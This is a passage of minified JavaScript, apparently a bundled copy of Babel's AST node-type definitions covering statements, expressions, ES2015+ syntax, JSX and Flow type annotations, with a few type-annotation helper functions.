te:(0,a.assertNodeType)("Expression")},arguments:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("Expression","SpreadElement")))}},aliases:["Expression"]}),(0,o.default)("CatchClause",{visitor:["param","body"],fields:{param:{validate:(0,a.assertNodeType)("Identifier")},body:{validate:(0,a.assertNodeType)("BlockStatement")}},aliases:["Scopable"]}),(0,o.default)("ConditionalExpression",{visitor:["test","consequent","alternate"],fields:{test:{validate:(0,a.assertNodeType)("Expression")},consequent:{validate:(0,a.assertNodeType)("Expression")},alternate:{validate:(0,a.assertNodeType)("Expression")}},aliases:["Expression","Conditional"]}),(0,o.default)("ContinueStatement",{visitor:["label"],fields:{label:{validate:(0,a.assertNodeType)("Identifier"),optional:!0}},aliases:["Statement","Terminatorless","CompletionStatement"]}),(0,o.default)("DebuggerStatement",{aliases:["Statement"]}),(0,o.default)("DoWhileStatement",{visitor:["test","body"],fields:{test:{validate:(0,a.assertNodeType)("Expression")},body:{validate:(0,a.assertNodeType)("Statement")}},aliases:["Statement","BlockParent","Loop","While","Scopable"]}),(0,o.default)("EmptyStatement",{aliases:["Statement"]}),(0,o.default)("ExpressionStatement",{visitor:["expression"],fields:{expression:{validate:(0,a.assertNodeType)("Expression")}},aliases:["Statement","ExpressionWrapper"]}),(0,o.default)("File",{builder:["program","comments","tokens"],visitor:["program"],fields:{program:{validate:(0,a.assertNodeType)("Program")}}}),(0,o.default)("ForInStatement",{visitor:["left","right","body"],aliases:["Scopable","Statement","For","BlockParent","Loop","ForXStatement"],fields:{left:{validate:(0,a.assertNodeType)("VariableDeclaration","LVal")},right:{validate:(0,a.assertNodeType)("Expression")},body:{validate:(0,a.assertNodeType)("Statement")}}}),(0,o.default)("ForStatement",{visitor:["init","test","update","body"],aliases:["Scopable","Statement","For","BlockParent","Loop"],fields:{init:{validate:(0,a.assertNodeType)("VariableDeclaration","Expression"),optional:!0},test:{validate:(0,a.assertNodeType)("Expression"),optional:!0},update:{validate:(0,a.assertNodeType)("Expression"),optional:!0},body:{validate:(0,a.assertNodeType)("Statement")}}}),(0,o.default)("FunctionDeclaration",{builder:["id","params","body","generator","async"],visitor:["id","params","body","returnType","typeParameters"],fields:{id:{validate:(0,a.assertNodeType)("Identifier")},params:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("LVal")))},body:{validate:(0,a.assertNodeType)("BlockStatement")},generator:{default:!1,validate:(0,a.assertValueType)("boolean")},async:{default:!1,validate:(0,a.assertValueType)("boolean")}},aliases:["Scopable","Function","BlockParent","FunctionParent","Statement","Pureish","Declaration"]}),(0,o.default)("FunctionExpression",{inherits:"FunctionDeclaration",aliases:["Scopable","Function","BlockParent","FunctionParent","Expression","Pureish"],fields:{id:{validate:(0,a.assertNodeType)("Identifier"),optional:!0},params:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("LVal")))},body:{validate:(0,a.assertNodeType)("BlockStatement")},generator:{default:!1,validate:(0,a.assertValueType)("boolean")},async:{default:!1,validate:(0,a.assertValueType)("boolean")}}}),(0,o.default)("Identifier",{builder:["name"],visitor:["typeAnnotation"],aliases:["Expression","LVal"],fields:{name:{validate:function(e,t,r){i.isValidIdentifier(r)}},decorators:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("Decorator")))}}}),(0,o.default)("IfStatement",{visitor:["test","consequent","alternate"],aliases:["Statement","Conditional"],fields:{test:{validate:(0,a.assertNodeType)("Expression")},consequent:{validate:(0,a.assertNodeType)("Statement")},alternate:{optional:!0,validate:(0,a.assertNodeType)("Statement")}}}),(0,o.default)("LabeledStatement",{visitor:["label","body"],aliases:["Statement"],fields:{label:{validate:(0,a.assertNodeType)("Identifier")},body:{validate:(0,a.assertNodeType)("Statement")}}}),(0,o.default)("StringLiteral",{builder:["value"],fields:{value:{validate:(0,a.assertValueType)("string")}},aliases:["Expression","Pureish","Literal","Immutable"]}),(0,o.default)("NumericLiteral",{builder:["value"],deprecatedAlias:"NumberLiteral",fields:{value:{validate:(0,a.assertValueType)("number")}},aliases:["Expression","Pureish","Literal","Immutable"]}),(0,o.default)("NullLiteral",{aliases:["Expression","Pureish","Literal","Immutable"]}),(0,o.default)("BooleanLiteral",{builder:["value"],fields:{value:{validate:(0,a.assertValueType)("boolean")}},aliases:["Expression","Pureish","Literal","Immutable"]}),(0,o.default)("RegExpLiteral",{builder:["pattern","flags"],deprecatedAlias:"RegexLiteral",aliases:["Expression","Literal"],fields:{pattern:{validate:(0,a.assertValueType)("string")},flags:{validate:(0,a.assertValueType)("string"),default:""}}}),(0,o.default)("LogicalExpression",{builder:["operator","left","right"],visitor:["left","right"],aliases:["Binary","Expression"],fields:{operator:{validate:a.assertOneOf.apply(void 0,s.LOGICAL_OPERATORS)},left:{validate:(0,a.assertNodeType)("Expression")},right:{validate:(0,a.assertNodeType)("Expression")}}}),(0,o.default)("MemberExpression",{builder:["object","property","computed"],visitor:["object","property"],aliases:["Expression","LVal"],fields:{object:{validate:(0,a.assertNodeType)("Expression")},property:{validate:function(e,t,r){var n=e.computed?"Expression":"Identifier";(0,a.assertNodeType)(n)(e,t,r)}},computed:{default:!1}}}),(0,o.default)("NewExpression",{visitor:["callee","arguments"],aliases:["Expression"],fields:{callee:{validate:(0,a.assertNodeType)("Expression")},arguments:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("Expression","SpreadElement")))}}}),(0,o.default)("Program",{visitor:["directives","body"],builder:["body","directives"],fields:{directives:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("Directive"))),default:[]},body:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("Statement")))}},aliases:["Scopable","BlockParent","Block","FunctionParent"]}),(0,o.default)("ObjectExpression",{visitor:["properties"],aliases:["Expression"],fields:{properties:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("ObjectMethod","ObjectProperty","SpreadProperty")))}}}),(0,o.default)("ObjectMethod",{builder:["kind","key","params","body","computed"],fields:{kind:{validate:(0,a.chain)((0,a.assertValueType)("string"),(0,a.assertOneOf)("method","get","set")),default:"method"},computed:{validate:(0,a.assertValueType)("boolean"),default:!1},key:{validate:function(e,t,r){var n=e.computed?["Expression"]:["Identifier","StringLiteral","NumericLiteral"];a.assertNodeType.apply(void 0,n)(e,t,r)}},decorators:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("Decorator")))},
body:{validate:(0,a.assertNodeType)("BlockStatement")},generator:{default:!1,validate:(0,a.assertValueType)("boolean")},async:{default:!1,validate:(0,a.assertValueType)("boolean")}},visitor:["key","params","body","decorators","returnType","typeParameters"],aliases:["UserWhitespacable","Function","Scopable","BlockParent","FunctionParent","Method","ObjectMember"]}),(0,o.default)("ObjectProperty",{builder:["key","value","computed","shorthand","decorators"],fields:{computed:{validate:(0,a.assertValueType)("boolean"),default:!1},key:{validate:function(e,t,r){var n=e.computed?["Expression"]:["Identifier","StringLiteral","NumericLiteral"];a.assertNodeType.apply(void 0,n)(e,t,r)}},value:{validate:(0,a.assertNodeType)("Expression","Pattern","RestElement")},shorthand:{validate:(0,a.assertValueType)("boolean"),default:!1},decorators:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("Decorator"))),optional:!0}},visitor:["key","value","decorators"],aliases:["UserWhitespacable","Property","ObjectMember"]}),(0,o.default)("RestElement",{visitor:["argument","typeAnnotation"],aliases:["LVal"],fields:{argument:{validate:(0,a.assertNodeType)("LVal")},decorators:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("Decorator")))}}}),(0,o.default)("ReturnStatement",{visitor:["argument"],aliases:["Statement","Terminatorless","CompletionStatement"],fields:{argument:{validate:(0,a.assertNodeType)("Expression"),optional:!0}}}),(0,o.default)("SequenceExpression",{visitor:["expressions"],fields:{expressions:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("Expression")))}},aliases:["Expression"]}),(0,o.default)("SwitchCase",{visitor:["test","consequent"],fields:{test:{validate:(0,a.assertNodeType)("Expression"),optional:!0},consequent:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("Statement")))}}}),(0,o.default)("SwitchStatement",{visitor:["discriminant","cases"],aliases:["Statement","BlockParent","Scopable"],fields:{discriminant:{validate:(0,a.assertNodeType)("Expression")},cases:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("SwitchCase")))}}}),(0,o.default)("ThisExpression",{aliases:["Expression"]}),(0,o.default)("ThrowStatement",{visitor:["argument"],aliases:["Statement","Terminatorless","CompletionStatement"],fields:{argument:{validate:(0,a.assertNodeType)("Expression")}}}),(0,o.default)("TryStatement",{visitor:["block","handler","finalizer"],aliases:["Statement"],fields:{body:{validate:(0,a.assertNodeType)("BlockStatement")},handler:{optional:!0,handler:(0,a.assertNodeType)("BlockStatement")},finalizer:{optional:!0,validate:(0,a.assertNodeType)("BlockStatement")}}}),(0,o.default)("UnaryExpression",{builder:["operator","argument","prefix"],fields:{prefix:{default:!0},argument:{validate:(0,a.assertNodeType)("Expression")},operator:{validate:a.assertOneOf.apply(void 0,s.UNARY_OPERATORS)}},visitor:["argument"],aliases:["UnaryLike","Expression"]}),(0,o.default)("UpdateExpression",{builder:["operator","argument","prefix"],fields:{prefix:{default:!1},argument:{validate:(0,a.assertNodeType)("Expression")},operator:{validate:a.assertOneOf.apply(void 0,s.UPDATE_OPERATORS)}},visitor:["argument"],aliases:["Expression"]}),(0,o.default)("VariableDeclaration",{builder:["kind","declarations"],visitor:["declarations"],aliases:["Statement","Declaration"],fields:{kind:{validate:(0,a.chain)((0,a.assertValueType)("string"),(0,a.assertOneOf)("var","let","const"))},declarations:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("VariableDeclarator")))}}}),(0,o.default)("VariableDeclarator",{visitor:["id","init"],fields:{id:{validate:(0,a.assertNodeType)("LVal")},init:{optional:!0,validate:(0,a.assertNodeType)("Expression")}}}),(0,o.default)("WhileStatement",{visitor:["test","body"],aliases:["Statement","BlockParent","Loop","While","Scopable"],fields:{test:{validate:(0,a.assertNodeType)("Expression")},body:{validate:(0,a.assertNodeType)("BlockStatement","Statement")}}}),(0,o.default)("WithStatement",{visitor:["object","body"],aliases:["Statement"],fields:{object:{object:(0,a.assertNodeType)("Expression")},body:{validate:(0,a.assertNodeType)("BlockStatement","Statement")}}})},function(e,t,r){"use strict";var n=r(26),i=function(e){return e&&e.__esModule?e:{default:e}}(n);(0,i.default)("AssignmentPattern",{visitor:["left","right"],aliases:["Pattern","LVal"],fields:{left:{validate:(0,n.assertNodeType)("Identifier")},right:{validate:(0,n.assertNodeType)("Expression")},decorators:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("Decorator")))}}}),(0,i.default)("ArrayPattern",{visitor:["elements","typeAnnotation"],aliases:["Pattern","LVal"],fields:{elements:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("Identifier","Pattern","RestElement")))},decorators:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("Decorator")))}}}),(0,i.default)("ArrowFunctionExpression",{builder:["params","body","async"],visitor:["params","body","returnType","typeParameters"],aliases:["Scopable","Function","BlockParent","FunctionParent","Expression","Pureish"],fields:{params:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("LVal")))},body:{validate:(0,n.assertNodeType)("BlockStatement","Expression")},async:{validate:(0,n.assertValueType)("boolean"),default:!1}}}),(0,i.default)("ClassBody",{visitor:["body"],fields:{body:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("ClassMethod","ClassProperty")))}}}),(0,i.default)("ClassDeclaration",{builder:["id","superClass","body","decorators"],visitor:["id","body","superClass","mixins","typeParameters","superTypeParameters","implements","decorators"],aliases:["Scopable","Class","Statement","Declaration","Pureish"],fields:{id:{validate:(0,n.assertNodeType)("Identifier")},body:{validate:(0,n.assertNodeType)("ClassBody")},superClass:{optional:!0,validate:(0,n.assertNodeType)("Expression")},decorators:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("Decorator")))}}}),(0,i.default)("ClassExpression",{inherits:"ClassDeclaration",aliases:["Scopable","Class","Expression","Pureish"],fields:{id:{optional:!0,validate:(0,n.assertNodeType)("Identifier")},body:{validate:(0,n.assertNodeType)("ClassBody")},superClass:{optional:!0,validate:(0,n.assertNodeType)("Expression")},decorators:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("Decorator")))}}}),(0,i.default)("ExportAllDeclaration",{visitor:["source"],aliases:["Statement","Declaration","ModuleDeclaration","ExportDeclaration"],fields:{source:{validate:(0,n.assertNodeType)("StringLiteral")}}}),(0,i.default)("ExportDefaultDeclaration",{visitor:["declaration"],aliases:["Statement","Declaration","ModuleDeclaration","ExportDeclaration"],fields:{declaration:{validate:(0,n.assertNodeType)("FunctionDeclaration","ClassDeclaration","Expression")}}}),(0,i.default)("ExportNamedDeclaration",{visitor:["declaration","specifiers","source"],aliases:["Statement","Declaration","ModuleDeclaration","ExportDeclaration"],fields:{declaration:{validate:(0,n.assertNodeType)("Declaration"),optional:!0},specifiers:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("ExportSpecifier")))},source:{validate:(0,n.assertNodeType)("StringLiteral"),optional:!0}}}),(0,i.default)("ExportSpecifier",{visitor:["local","exported"],aliases:["ModuleSpecifier"],fields:{local:{validate:(0,n.assertNodeType)("Identifier")},exported:{validate:(0,n.assertNodeType)("Identifier")}}}),(0,i.default)("ForOfStatement",{visitor:["left","right","body"],aliases:["Scopable","Statement","For","BlockParent","Loop","ForXStatement"],fields:{left:{validate:(0,n.assertNodeType)("VariableDeclaration","LVal")},right:{validate:(0,n.assertNodeType)("Expression")},body:{validate:(0,n.assertNodeType)("Statement")}}}),(0,i.default)("ImportDeclaration",{visitor:["specifiers","source"],aliases:["Statement","Declaration","ModuleDeclaration"],fields:{specifiers:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("ImportSpecifier","ImportDefaultSpecifier","ImportNamespaceSpecifier")))},source:{validate:(0,n.assertNodeType)("StringLiteral")}}}),(0,i.default)("ImportDefaultSpecifier",{visitor:["local"],aliases:["ModuleSpecifier"],fields:{local:{validate:(0,n.assertNodeType)("Identifier")}}}),(0,i.default)("ImportNamespaceSpecifier",{visitor:["local"],aliases:["ModuleSpecifier"],fields:{local:{validate:(0,n.assertNodeType)("Identifier")}}}),(0,i.default)("ImportSpecifier",{visitor:["local","imported"],aliases:["ModuleSpecifier"],fields:{local:{validate:(0,n.assertNodeType)("Identifier")},imported:{validate:(0,n.assertNodeType)("Identifier")},importKind:{validate:(0,n.assertOneOf)(null,"type","typeof")}}}),(0,i.default)("MetaProperty",{visitor:["meta","property"],aliases:["Expression"],fields:{meta:{validate:(0,n.assertValueType)("string")},property:{validate:(0,n.assertValueType)("string")}}}),(0,i.default)("ClassMethod",{aliases:["Function","Scopable","BlockParent","FunctionParent","Method"],builder:["kind","key","params","body","computed","static"],visitor:["key","params","body","decorators","returnType","typeParameters"],fields:{kind:{validate:(0,n.chain)((0,n.assertValueType)("string"),(0,n.assertOneOf)("get","set","method","constructor")),default:"method"},computed:{default:!1,validate:(0,n.assertValueType)("boolean")},static:{default:!1,validate:(0,n.assertValueType)("boolean")},key:{validate:function(e,t,r){var i=e.computed?["Expression"]:["Identifier","StringLiteral","NumericLiteral"];n.assertNodeType.apply(void 0,i)(e,t,r)}},params:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("LVal")))},body:{validate:(0,n.assertNodeType)("BlockStatement")},generator:{default:!1,validate:(0,n.assertValueType)("boolean")},async:{default:!1,validate:(0,n.assertValueType)("boolean")}}}),(0,i.default)("ObjectPattern",{visitor:["properties","typeAnnotation"],aliases:["Pattern","LVal"],fields:{properties:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("RestProperty","Property")))},decorators:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("Decorator")))}}}),(0,i.default)("SpreadElement",{visitor:["argument"],aliases:["UnaryLike"],fields:{argument:{validate:(0,n.assertNodeType)("Expression")}}}),(0,i.default)("Super",{aliases:["Expression"]}),(0,i.default)("TaggedTemplateExpression",{visitor:["tag","quasi"],aliases:["Expression"],fields:{tag:{validate:(0,n.assertNodeType)("Expression")},quasi:{validate:(0,n.assertNodeType)("TemplateLiteral")}}}),(0,i.default)("TemplateElement",{builder:["value","tail"],fields:{value:{},tail:{validate:(0,n.assertValueType)("boolean"),default:!1}}}),(0,i.default)("TemplateLiteral",{visitor:["quasis","expressions"],aliases:["Expression","Literal"],fields:{quasis:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("TemplateElement")))},expressions:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("Expression")))}}}),(0,i.default)("YieldExpression",{builder:["argument","delegate"],visitor:["argument"],aliases:["Expression","Terminatorless"],fields:{delegate:{validate:(0,n.assertValueType)("boolean"),default:!1},argument:{optional:!0,validate:(0,n.assertNodeType)("Expression")}}})},function(e,t,r){"use strict";var n=r(26),i=function(e){return e&&e.__esModule?e:{default:e}}(n);(0,i.default)("AwaitExpression",{builder:["argument"],visitor:["argument"],aliases:["Expression","Terminatorless"],fields:{argument:{validate:(0,n.assertNodeType)("Expression")}}}),(0,i.default)("ForAwaitStatement",{visitor:["left","right","body"],aliases:["Scopable","Statement","For","BlockParent","Loop","ForXStatement"],fields:{left:{validate:(0,n.assertNodeType)("VariableDeclaration","LVal")},right:{validate:(0,n.assertNodeType)("Expression")},body:{validate:(0,n.assertNodeType)("Statement")}}}),(0,i.default)("BindExpression",{visitor:["object","callee"],aliases:["Expression"],fields:{}}),(0,i.default)("Import",{aliases:["Expression"]}),(0,i.default)("Decorator",{visitor:["expression"],fields:{expression:{validate:(0,n.assertNodeType)("Expression")}}}),(0,i.default)("DoExpression",{visitor:["body"],aliases:["Expression"],fields:{body:{validate:(0,n.assertNodeType)("BlockStatement")}}}),(0,i.default)("ExportDefaultSpecifier",{visitor:["exported"],aliases:["ModuleSpecifier"],fields:{exported:{validate:(0,n.assertNodeType)("Identifier")}}}),(0,i.default)("ExportNamespaceSpecifier",{visitor:["exported"],aliases:["ModuleSpecifier"],fields:{exported:{validate:(0,n.assertNodeType)("Identifier")}}}),(0,i.default)("RestProperty",{visitor:["argument"],aliases:["UnaryLike"],fields:{argument:{validate:(0,n.assertNodeType)("LVal")}}}),(0,i.default)("SpreadProperty",{visitor:["argument"],aliases:["UnaryLike"],fields:{argument:{validate:(0,n.assertNodeType)("Expression")}}})},function(e,t,r){"use strict";var n=r(26),i=function(e){return e&&e.__esModule?e:{default:e}}(n);(0,i.default)("AnyTypeAnnotation",{aliases:["Flow","FlowBaseAnnotation"],fields:{}}),(0,i.default)("ArrayTypeAnnotation",{visitor:["elementType"],aliases:["Flow"],fields:{}}),(0,i.default)("BooleanTypeAnnotation",{aliases:["Flow","FlowBaseAnnotation"],fields:{}}),(0,i.default)("BooleanLiteralTypeAnnotation",{aliases:["Flow"],fields:{}}),(0,i.default)("NullLiteralTypeAnnotation",{aliases:["Flow","FlowBaseAnnotation"],fields:{}}),(0,i.default)("ClassImplements",{visitor:["id","typeParameters"],aliases:["Flow"],fields:{}}),(0,i.default)("ClassProperty",{visitor:["key","value","typeAnnotation","decorators"],builder:["key","value","typeAnnotation","decorators","computed"],aliases:["Property"],fields:{computed:{validate:(0,n.assertValueType)("boolean"),default:!1}}}),(0,i.default)("DeclareClass",{visitor:["id","typeParameters","extends","body"],aliases:["Flow","FlowDeclaration","Statement","Declaration"],fields:{}}),(0,i.default)("DeclareFunction",{visitor:["id"],aliases:["Flow","FlowDeclaration","Statement","Declaration"],fields:{}}),(0,i.default)("DeclareInterface",{visitor:["id","typeParameters","extends","body"],aliases:["Flow","FlowDeclaration","Statement","Declaration"],fields:{}}),(0,i.default)("DeclareModule",{visitor:["id","body"],aliases:["Flow","FlowDeclaration","Statement","Declaration"],fields:{}}),(0,i.default)("DeclareModuleExports",{visitor:["typeAnnotation"],aliases:["Flow","FlowDeclaration","Statement","Declaration"],fields:{}}),(0,i.default)("DeclareTypeAlias",{visitor:["id","typeParameters","right"],aliases:["Flow","FlowDeclaration","Statement","Declaration"],fields:{}}),(0,i.default)("DeclareOpaqueType",{visitor:["id","typeParameters","supertype"],aliases:["Flow","FlowDeclaration","Statement","Declaration"],fields:{}}),(0,i.default)("DeclareVariable",{visitor:["id"],aliases:["Flow","FlowDeclaration","Statement","Declaration"],fields:{}}),(0,i.default)("DeclareExportDeclaration",{visitor:["declaration","specifiers","source"],aliases:["Flow","FlowDeclaration","Statement","Declaration"],fields:{}}),(0,i.default)("ExistentialTypeParam",{aliases:["Flow"]}),(0,i.default)("FunctionTypeAnnotation",{visitor:["typeParameters","params","rest","returnType"],aliases:["Flow"],fields:{}}),(0,i.default)("FunctionTypeParam",{visitor:["name","typeAnnotation"],aliases:["Flow"],fields:{}}),(0,i.default)("GenericTypeAnnotation",{visitor:["id","typeParameters"],aliases:["Flow"],fields:{}}),(0,i.default)("InterfaceExtends",{visitor:["id","typeParameters"],aliases:["Flow"],fields:{}}),(0,i.default)("InterfaceDeclaration",{visitor:["id","typeParameters","extends","body"],aliases:["Flow","FlowDeclaration","Statement","Declaration"],fields:{}}),(0,i.default)("IntersectionTypeAnnotation",{visitor:["types"],aliases:["Flow"],fields:{}}),(0,i.default)("MixedTypeAnnotation",{aliases:["Flow","FlowBaseAnnotation"]}),(0,i.default)("EmptyTypeAnnotation",{aliases:["Flow","FlowBaseAnnotation"]}),(0,i.default)("NullableTypeAnnotation",{visitor:["typeAnnotation"],aliases:["Flow"],fields:{}}),(0,i.default)("NumericLiteralTypeAnnotation",{aliases:["Flow"],fields:{}}),(0,i.default)("NumberTypeAnnotation",{aliases:["Flow","FlowBaseAnnotation"],fields:{}}),(0,i.default)("StringLiteralTypeAnnotation",{aliases:["Flow"],fields:{}}),(0,i.default)("StringTypeAnnotation",{aliases:["Flow","FlowBaseAnnotation"],fields:{}}),(0,i.default)("ThisTypeAnnotation",{aliases:["Flow","FlowBaseAnnotation"],fields:{}}),(0,i.default)("TupleTypeAnnotation",{visitor:["types"],aliases:["Flow"],fields:{}}),(0,i.default)("TypeofTypeAnnotation",{visitor:["argument"],aliases:["Flow"],fields:{}}),(0,i.default)("TypeAlias",{visitor:["id","typeParameters","right"],aliases:["Flow","FlowDeclaration","Statement","Declaration"],fields:{}}),(0,i.default)("OpaqueType",{visitor:["id","typeParameters","impltype","supertype"],aliases:["Flow","FlowDeclaration","Statement","Declaration"],fields:{}}),(0,i.default)("TypeAnnotation",{visitor:["typeAnnotation"],aliases:["Flow"],fields:{}}),(0,i.default)("TypeCastExpression",{visitor:["expression","typeAnnotation"],aliases:["Flow","ExpressionWrapper","Expression"],fields:{}}),(0,i.default)("TypeParameter",{visitor:["bound"],aliases:["Flow"],fields:{}}),(0,i.default)("TypeParameterDeclaration",{visitor:["params"],aliases:["Flow"],fields:{}}),(0,i.default)("TypeParameterInstantiation",{visitor:["params"],aliases:["Flow"],fields:{}}),(0,i.default)("ObjectTypeAnnotation",{visitor:["properties","indexers","callProperties"],aliases:["Flow"],fields:{}}),(0,i.default)("ObjectTypeCallProperty",{visitor:["value"],aliases:["Flow","UserWhitespacable"],fields:{}}),(0,i.default)("ObjectTypeIndexer",{visitor:["id","key","value"],aliases:["Flow","UserWhitespacable"],fields:{}}),(0,i.default)("ObjectTypeProperty",{visitor:["key","value"],aliases:["Flow","UserWhitespacable"],fields:{}}),(0,i.default)("ObjectTypeSpreadProperty",{visitor:["argument"],aliases:["Flow","UserWhitespacable"],fields:{}}),(0,i.default)("QualifiedTypeIdentifier",{visitor:["id","qualification"],aliases:["Flow"],fields:{}}),(0,i.default)("UnionTypeAnnotation",{visitor:["types"],aliases:["Flow"],fields:{}}),(0,i.default)("VoidTypeAnnotation",{aliases:["Flow","FlowBaseAnnotation"],fields:{}})},function(e,t,r){"use strict";r(26),r(386),r(387),r(389),r(391),r(392),r(388)},function(e,t,r){"use strict";var n=r(26),i=function(e){return e&&e.__esModule?e:{default:e}}(n);(0,i.default)("JSXAttribute",{visitor:["name","value"],aliases:["JSX","Immutable"],fields:{name:{validate:(0,n.assertNodeType)("JSXIdentifier","JSXNamespacedName")},value:{optional:!0,validate:(0,n.assertNodeType)("JSXElement","StringLiteral","JSXExpressionContainer")}}}),(0,i.default)("JSXClosingElement",{visitor:["name"],aliases:["JSX","Immutable"],fields:{name:{validate:(0,n.assertNodeType)("JSXIdentifier","JSXMemberExpression")}}}),(0,i.default)("JSXElement",{builder:["openingElement","closingElement","children","selfClosing"],visitor:["openingElement","children","closingElement"],aliases:["JSX","Immutable","Expression"],fields:{openingElement:{validate:(0,n.assertNodeType)("JSXOpeningElement")},closingElement:{optional:!0,validate:(0,n.assertNodeType)("JSXClosingElement")},children:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("JSXText","JSXExpressionContainer","JSXSpreadChild","JSXElement")))}}}),(0,i.default)("JSXEmptyExpression",{aliases:["JSX","Expression"]}),(0,i.default)("JSXExpressionContainer",{visitor:["expression"],aliases:["JSX","Immutable"],fields:{expression:{validate:(0,n.assertNodeType)("Expression")}}}),(0,i.default)("JSXSpreadChild",{visitor:["expression"],aliases:["JSX","Immutable"],fields:{expression:{validate:(0,n.assertNodeType)("Expression")}}}),(0,i.default)("JSXIdentifier",{builder:["name"],aliases:["JSX","Expression"],fields:{name:{validate:(0,n.assertValueType)("string")}}}),(0,i.default)("JSXMemberExpression",{visitor:["object","property"],aliases:["JSX","Expression"],fields:{object:{validate:(0,n.assertNodeType)("JSXMemberExpression","JSXIdentifier")},property:{validate:(0,n.assertNodeType)("JSXIdentifier")}}}),(0,i.default)("JSXNamespacedName",{visitor:["namespace","name"],aliases:["JSX"],fields:{namespace:{validate:(0,n.assertNodeType)("JSXIdentifier")},name:{validate:(0,n.assertNodeType)("JSXIdentifier")}}}),(0,i.default)("JSXOpeningElement",{builder:["name","attributes","selfClosing"],visitor:["name","attributes"],aliases:["JSX","Immutable"],fields:{name:{validate:(0,n.assertNodeType)("JSXIdentifier","JSXMemberExpression")},selfClosing:{default:!1,validate:(0,n.assertValueType)("boolean")},attributes:{validate:(0,n.chain)((0,n.assertValueType)("array"),(0,n.assertEach)((0,n.assertNodeType)("JSXAttribute","JSXSpreadAttribute")))}}}),(0,i.default)("JSXSpreadAttribute",{visitor:["argument"],aliases:["JSX"],fields:{argument:{validate:(0,n.assertNodeType)("Expression")}}}),(0,i.default)("JSXText",{aliases:["JSX","Immutable"],builder:["value"],fields:{value:{validate:(0,n.assertValueType)("string")}}})},function(e,t,r){"use strict";var n=r(26),i=function(e){return e&&e.__esModule?e:{default:e}}(n);(0,i.default)("Noop",{visitor:[]}),(0,i.default)("ParenthesizedExpression",{visitor:["expression"],aliases:["Expression","ExpressionWrapper"],fields:{expression:{validate:(0,n.assertNodeType)("Expression")}}})},function(e,t,r){"use strict";function n(e){var t=i(e);return 1===t.length?t[0]:o.unionTypeAnnotation(t)}function i(e){for(var t={},r={},n=[],s=[],a=0;a<e.length;a++){var u=e[a];if(u&&!(s.indexOf(u)>=0)){if(o.isAnyTypeAnnotation(u))return[u];if(o.isFlowBaseAnnotation(u))r[u.type]=u;else if(o.isUnionTypeAnnotation(u))n.indexOf(u.types)<0&&(e=e.concat(u.types),n.push(u.types));else if(o.isGenericTypeAnnotation(u)){var l=u.id.name;if(t[l]){var c=t[l];c.typeParameters?u.typeParameters&&(c.typeParameters.params=i(c.typeParameters.params.concat(u.typeParameters.params))):c=u.typeParameters}else t[l]=u}else s.push(u)}}for(var f in r)s.push(r[f]);for(var p in t)s.push(t[p]);return s}function s(e){if("string"===e)return o.stringTypeAnnotation();if("number"===e)return o.numberTypeAnnotation();if("undefined"===e)return o.voidTypeAnnotation();if("boolean"===e)return o.booleanTypeAnnotation();if("function"===e)return o.genericTypeAnnotation(o.identifier("Function"));if("object"===e)return o.genericTypeAnnotation(o.identifier("Object"));if("symbol"===e)return o.genericTypeAnnotation(o.identifier("Symbol"));throw new Error("Invalid typeof value")}t.__esModule=!0,t.createUnionTypeAnnotation=n,t.removeTypeDuplicates=i,t.createTypeAnnotationBasedOnTypeof=s;var a=r(1),o=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(a)},function(e,t,r){"use strict";function n(e){return!!e&&/^[a-z]|\-/.test(e)}function i(e,t){for(var r=e.value.split(/\r\n|\n|\r/),n=0,i=0;i<r.length;i++)r[i].match(/[^ \t]/)&&(n=i);for(var s="",a=0;a<r.length;a++){var u=r[a],l=0===a,c=a===r.length-1,f=a===n,p=u.replace(/\t/g," 